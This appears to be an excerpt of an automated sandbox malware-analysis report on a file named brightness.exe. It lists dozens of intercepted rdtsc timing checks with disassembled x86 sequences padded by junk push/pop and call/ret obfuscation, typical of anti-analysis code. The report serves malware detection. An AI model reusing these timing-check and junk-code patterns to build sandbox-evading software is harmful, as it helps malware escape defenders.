Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC8F2 second address: 4FC964 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnl 00007F4600EB04E6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push esi 0x00000012 call 00007F4600EB04E8h 0x00000017 pop esi 0x00000018 mov dword ptr [esp+04h], esi 0x0000001c add dword ptr [esp+04h], 00000016h 0x00000024 inc esi 0x00000025 push esi 0x00000026 ret 0x00000027 pop esi 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e call 00007F4600EB04E8h 0x00000033 pop ecx 0x00000034 mov dword ptr [esp+04h], ecx 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc ecx 0x00000041 push ecx 0x00000042 ret 0x00000043 pop ecx 0x00000044 ret 0x00000045 mov esi, dword ptr [ebp+1436393Fh] 0x0000004b movzx esi, si 0x0000004e push 00000000h 0x00000050 pushad 0x00000051 mov edi, ecx 0x00000053 pushad 0x00000054 or dx, 8800h 0x00000059 mov bx, 7B55h 0x0000005d popad 0x0000005e popad 0x0000005f xchg eax, ebx 0x00000060 push eax 0x00000061 push edx 0x00000062 push ecx 0x00000063 jbe 00007F4600EB04E6h 0x00000069 pop ecx 0x0000006a rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FB275 second address: 4FB27B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC964 second address: 4FC96A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FC96A second address: 4FC96E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 503762 second address: 503768 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 503768 second address: 50376E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50376E second address: 503772 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 503772 second address: 503776 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4FF981 second address: 4FF986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 501988 second address: 50198C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 502A1E second address: 502A23 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5046FE second address: 50473E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 nop 0x00000008 sbb bx, 3E82h 0x0000000d push 00000000h 0x0000000f xor edi, dword ptr [ebp+14362CBBh] 0x00000015 push 00000000h 0x00000017 push 00000000h 0x00000019 push edi 0x0000001a call 00007F4600C59B08h 0x0000001f pop edi 0x00000020 mov dword ptr [esp+04h], edi 0x00000024 add dword ptr [esp+04h], 0000001Ah 0x0000002c inc edi 0x0000002d push edi 0x0000002e ret 0x0000002f pop edi 0x00000030 ret 0x00000031 xchg eax, esi 0x00000032 push eax 0x00000033 push edx 0x00000034 push edi 0x00000035 pushad 0x00000036 popad 0x00000037 pop edi 0x00000038 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50198C second address: 5019A6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 502A23 second address: 502A4B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B18h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jp 00007F4600C59B06h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50473E second address: 504773 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F4600EB04F8h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F4600EB04F4h 0x00000013 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 502A4B second address: 502A50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5048DF second address: 504981 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F4600EB04E8h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jc 00007F4600EB04F2h 0x00000011 nop 0x00000012 mov ebx, dword ptr [ebp+14363A5Bh] 0x00000018 push dword ptr fs:[00000000h] 0x0000001f jng 00007F4600EB04ECh 0x00000025 mov dword ptr fs:[00000000h], esp 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007F4600EB04E8h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 00000014h 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 mov eax, dword ptr [ebp+14360989h] 0x0000004c push 00000000h 0x0000004e push ebp 0x0000004f call 00007F4600EB04E8h 0x00000054 pop ebp 0x00000055 mov dword ptr [esp+04h], ebp 0x00000059 add dword ptr [esp+04h], 0000001Ch 0x00000061 inc ebp 0x00000062 push ebp 0x00000063 ret 0x00000064 pop ebp 0x00000065 ret 0x00000066 push FFFFFFFFh 0x00000068 jmp 00007F4600EB04EAh 0x0000006d mov edi, dword ptr [ebp+14362DECh] 0x00000073 push eax 0x00000074 push esi 0x00000075 push eax 0x00000076 push edx 0x00000077 jl 00007F4600EB04E6h 0x0000007d rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5067AA second address: 5067AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 509768 second address: 50976C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50976C second address: 5097D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 push 00000000h 0x0000000b push ecx 0x0000000c call 00007F4600C59B08h 0x00000011 pop ecx 0x00000012 mov dword ptr [esp+04h], ecx 0x00000016 add dword ptr [esp+04h], 00000019h 0x0000001e inc ecx 0x0000001f push ecx 0x00000020 ret 0x00000021 pop ecx 0x00000022 ret 0x00000023 mov dword ptr [ebp+143630E7h], ecx 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push ecx 0x0000002e call 00007F4600C59B08h 0x00000033 pop ecx 0x00000034 mov dword ptr [esp+04h], ecx 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc ecx 0x00000041 push ecx 0x00000042 ret 0x00000043 pop ecx 0x00000044 ret 0x00000045 cmc 0x00000046 push 00000000h 0x00000048 or dword ptr [ebp+144E5EE2h], esi 0x0000004e push eax 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 jmp 00007F4600C59B0Bh 0x00000058 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5097D5 second address: 5097D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5097D9 second address: 5097DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 508949 second address: 50894D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5097DF second address: 5097E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50894D second address: 508968 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4600EB04F1h 0x0000000f rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5097E4 second address: 5097EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50A7C8 second address: 50A7CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50A857 second address: 50A860 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50A860 second address: 50A86D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50A86D second address: 50A873 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50B9C8 second address: 50B9CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50AA0E second address: 50AA12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50AAC1 second address: 50AACC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F4600EB04E6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50DBD5 second address: 50DBF3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push edi 0x00000006 pop edi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 jmp 00007F4600C59B0Dh 0x00000015 popad 0x00000016 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50DBF3 second address: 50DBF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50DBF9 second address: 50DC41 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b mov ebx, dword ptr [ebp+14510DBDh] 0x00000011 mov bx, ax 0x00000014 push 00000000h 0x00000016 je 00007F4600C59B13h 0x0000001c jmp 00007F4600C59B0Dh 0x00000021 xchg eax, esi 0x00000022 jnc 00007F4600C59B14h 0x00000028 push eax 0x00000029 push ecx 0x0000002a jo 00007F4600C59B0Ch 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50CD31 second address: 50CD45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jo 00007F4600EB04ECh 0x0000000e jo 00007F4600EB04E6h 0x00000014 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 511EA4 second address: 511EB4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B0Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50DD15 second address: 50DD19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50ED61 second address: 50ED67 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50ED67 second address: 50EE17 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F4600EB04F1h 0x00000008 jmp 00007F4600EB04EBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp], eax 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov edi, 6DAC39E7h 0x0000001e mov dword ptr fs:[00000000h], esp 0x00000025 push 00000000h 0x00000027 push ecx 0x00000028 call 00007F4600EB04E8h 0x0000002d pop ecx 0x0000002e mov dword ptr [esp+04h], ecx 0x00000032 add dword ptr [esp+04h], 00000017h 0x0000003a inc ecx 0x0000003b push ecx 0x0000003c ret 0x0000003d pop ecx 0x0000003e ret 0x0000003f jmp 00007F4600EB04F7h 0x00000044 mov eax, dword ptr [ebp+14360301h] 0x0000004a mov dword ptr [ebp+14510260h], eax 0x00000050 push FFFFFFFFh 0x00000052 push 00000000h 0x00000054 push edx 0x00000055 call 00007F4600EB04E8h 0x0000005a pop edx 0x0000005b mov dword ptr [esp+04h], edx 0x0000005f add dword ptr [esp+04h], 0000001Ah 0x00000067 inc edx 0x00000068 push edx 0x00000069 ret 0x0000006a pop edx 0x0000006b ret 0x0000006c jmp 00007F4600EB04F8h 0x00000071 push eax 0x00000072 push eax 0x00000073 push edx 0x00000074 push edi 0x00000075 pushad 0x00000076 popad 0x00000077 pop edi 0x00000078 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50DD19 second address: 50DDDE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600C59B15h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push dword ptr fs:[00000000h] 0x00000012 xor edi, dword ptr [ebp+1436399Bh] 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f push 00000000h 0x00000021 push edi 0x00000022 call 00007F4600C59B08h 0x00000027 pop edi 0x00000028 mov dword ptr [esp+04h], edi 0x0000002c add dword ptr [esp+04h], 0000001Dh 0x00000034 inc edi 0x00000035 push edi 0x00000036 ret 0x00000037 pop edi 0x00000038 ret 0x00000039 or edi, dword ptr [ebp+14363A0Bh] 0x0000003f mov eax, dword ptr [ebp+14361421h] 0x00000045 push 00000000h 0x00000047 push esi 0x00000048 call 00007F4600C59B08h 0x0000004d pop esi 0x0000004e mov dword ptr [esp+04h], esi 0x00000052 add dword ptr [esp+04h], 0000001Dh 0x0000005a inc esi 0x0000005b push esi 0x0000005c ret 0x0000005d pop esi 0x0000005e ret 0x0000005f call 00007F4600C59B19h 0x00000064 jl 00007F4600C59B0Bh 0x0000006a mov edi, 01303F2Fh 0x0000006f pop ebx 0x00000070 mov dword ptr [ebp+14362A10h], eax 0x00000076 push FFFFFFFFh 0x00000078 mov edi, dword ptr [ebp+143629F4h] 0x0000007e nop 0x0000007f pushad 0x00000080 push edx 0x00000081 jno 00007F4600C59B06h 0x00000087 pop edx 0x00000088 pushad 0x00000089 push eax 0x0000008a push edx 0x0000008b rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50DDDE second address: 50DDF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007F4600EB04E6h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50DDF0 second address: 50DDF4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 50DDF4 second address: 50DDFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 519194 second address: 519199 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 519625 second address: 51964A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 ja 00007F4600EB04FCh 0x0000000b jmp 00007F4600EB04F6h 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 51964A second address: 51964E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4B46F7 second address: 4B4713 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F4600EB04F5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 51EC45 second address: 51EC49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 51EC49 second address: 51EC59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007F4600EB04EEh 0x0000000c push eax 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 51EC59 second address: 51EC61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 51EC61 second address: 51EC65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 522D30 second address: 522D47 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edi 0x00000008 pop edi 0x00000009 jg 00007F4600C59B06h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 pop eax 0x00000017 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 522D47 second address: 522D4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 522D4B second address: 522D79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007F4600C59B06h 0x0000000d pop eax 0x0000000e popad 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 push edi 0x00000017 pop edi 0x00000018 jmp 00007F4600C59B15h 0x0000001d popad 0x0000001e rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 522D79 second address: 522D7E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 522D7E second address: 522D8B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 522E3C second address: 522E4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 jo 00007F4600EB04ECh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 522E4B second address: 522E65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 jnc 00007F4600C59B06h 0x0000000f jmp 00007F4600C59B0Ah 0x00000014 popad 0x00000015 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 522E65 second address: 522E6A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 522E6A second address: 522E7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5268F9 second address: 52691B instructions: 0x00000000 rdtsc 0x00000002 jno 00007F4600EB04ECh 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F4600EB04F0h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 52691B second address: 52691F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 52691F second address: 526923 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 527071 second address: 527088 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 push edx 0x00000007 jo 00007F4600C59B0Ah 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push ebx 0x00000014 pop ebx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5271C8 second address: 5271EB instructions: 0x00000000 rdtsc 0x00000002 jg 00007F4600EB04E6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 jmp 00007F4600EB04ECh 0x00000015 jns 00007F4600EB04E6h 0x0000001b pop esi 0x0000001c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 5271EB second address: 5271F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 527346 second address: 52734C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 529DBD second address: 529DC3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 529DC3 second address: 529DCC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 529DCC second address: 529DD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4B7CBF second address: 4B7CCE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4B7CCE second address: 4B7CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4B7CD2 second address: 4B7CD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4B7CD6 second address: 4B7CE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnp 00007F4600C59B06h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 4B7CE5 second address: 4B7D03 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F4600EB04F7h 0x0000000c rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 52F510 second address: 52F516 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\brightness.exe	RDTSC instruction interceptor: First address: 52F516 second address: 52F52A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F4600EB04EBh 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
